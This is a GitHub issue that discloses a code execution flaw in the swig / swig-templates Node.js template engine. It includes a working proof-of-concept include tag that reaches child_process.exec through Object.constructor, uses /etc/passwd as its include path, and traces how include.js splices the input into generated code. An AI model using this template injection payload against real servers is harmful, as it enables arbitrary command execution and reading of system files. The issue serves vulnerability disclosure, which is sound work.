Skip to content
This repository has been archived by the owner on Feb 3, 2023. It is now read-only.

Security Issue: code execution vulnerability during template rendering #89

Open
y1nglamore opened this issue Feb 1, 2023 · 1 comment

Comments

@y1nglamore
Copy link

y1nglamore commented Feb 1, 2023

official doc

poc

tpl.html

You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %} 

or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}

run.js

var swig = require('swig-templates');
var output = swig.renderFile('/Users/bytedance/Desktop/swig/tpl.html');
console.log(output);

the code above will execute open -a Calculator.app command
m1-134808_ia1CFt

gif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif

Reason

include.js will do some code splicing

return (
(ignore ? ' try {\n' : '') +
'_output += _swig.compileFile(' +
file +
', {' +
'resolveFrom: "' +
parentFile +
'"' +
'})(' +
(onlyCtx && w ? w : !w ? '_ctx' : '_utils.extend({}, _ctx, ' + w + ')') +
');\n' +
(ignore ? '} catch (e) {}\n' : '')
)
}

the return value will be added to var out

o = token.compile(
exports.compile,
token.args ? token.args.slice(0) : [],
token.content ? token.content.slice(0) : [],
parents,
options,
blockName
)
out += o || ''

finally the value of out:

_output += _swig.compileFile("/etc/passwd", {resolveFrom: "/Users/bytedance/Desktop/swig/tpl.html"})(_utils.extend({}, _ctx,  + (((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null && _ctx.Object.constructor !== undefined && _ctx.Object.constructor !== null) ? _ctx.Object.constructor : "") : ((typeof Object !== "undefined" && Object !== null && Object.constructor !== undefined && Object.constructor !== null) ? Object.constructor : "")) : "" ) || _fn).call((((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) !== null ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? ((typeof _ctx.Object !== "undefined" && _ctx.Object !== null) ? _ctx.Object : "") : ((typeof Object !== "undefined" && Object !== null) ? Object : "")) : "" ), "global.process.mainModule.require('child_process').exec('open -a Calculator.app')") || _fn)()));

the out will be used to make an anonymous function, and then call the function
m1-140208_EIzVeN

if you debug in detail, you will find that it will call the following anonymous funciton:

(function anonymous(
) {
global.process.mainModule.require('child_process').exec('open -a Calculator.app')
})
@y1nglamore
Copy link
Author

y1nglamore commented Feb 1, 2023

swig and swig-templates may be the same thing but different version, it works for both swig and swig-templates

check my blog for more detail (in Chinese):
https://www.gem-love.com/2023/02/01/Swig%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E0day%E6%8C%96%E6%8E%98-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E5%92%8C%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant